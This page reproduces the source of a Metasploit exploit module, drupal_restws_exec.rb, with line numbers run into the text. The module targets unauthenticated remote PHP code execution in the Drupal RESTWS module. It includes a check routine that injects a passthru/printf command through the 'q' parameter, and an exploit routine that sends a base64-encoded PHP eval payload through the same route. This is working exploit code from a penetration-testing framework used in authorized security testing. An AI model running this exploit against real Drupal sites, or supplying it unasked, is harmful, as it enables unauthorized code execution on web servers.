Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/drupal_restws_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info={})11super(update_info(info,12'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',13'Description' => %q{14This module exploits a Remote PHP Code Execution vulnerability in the15Drupal RESTWS Module. Unauthenticated users can execute arbitrary code16under the context of the web server user.1718RESTWS alters the default page callbacks for entities to provide19additional functionality. A vulnerability in this approach allows20an unauthenticated attacker to send specially crafted requests resulting21in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.722are affected by this issue.2324This module was tested against RESTWS 2.5 with Drupal 7.5 installed on25Ubuntu Server.26},27'License' => MSF_LICENSE,28'Author' =>29[30'Devin Zuczek', # discovery31'Mehmet Ince <[email protected]>' # msf module32],33'References' =>34[35['URL', 'https://www.drupal.org/node/2765567']36],37'Privileged' => false,38'Payload' =>39{40'DisableNops' => true41},42'Platform' => ['php'],43'Arch' => ARCH_PHP,44'Targets' => [ ['Automatic', {}] ],45'DisclosureDate' => '2016-07-13',46'DefaultTarget' => 047))4849register_options(50[51OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])52]53)54end5556def check57r = rand_text_alpha(8 + rand(4))5859res = send_request_cgi(60'method' => 'GET',61'uri' => normalize_uri(target_uri.path, 'index.php'),62'vars_get' => {63'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"64}65)6667if res && res.body.include?(r)68Exploit::CheckCode::Vulnerable69else70Exploit::CheckCode::Safe71end72end7374def exploit75cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"7677send_request_cgi(78'method' => 'GET',79'uri' => normalize_uri(target_uri.path, 'index.php'),80'vars_get' => {81'q' => "taxonomy_vocabulary//passthru/#{cmd}"82}83)84end85end868788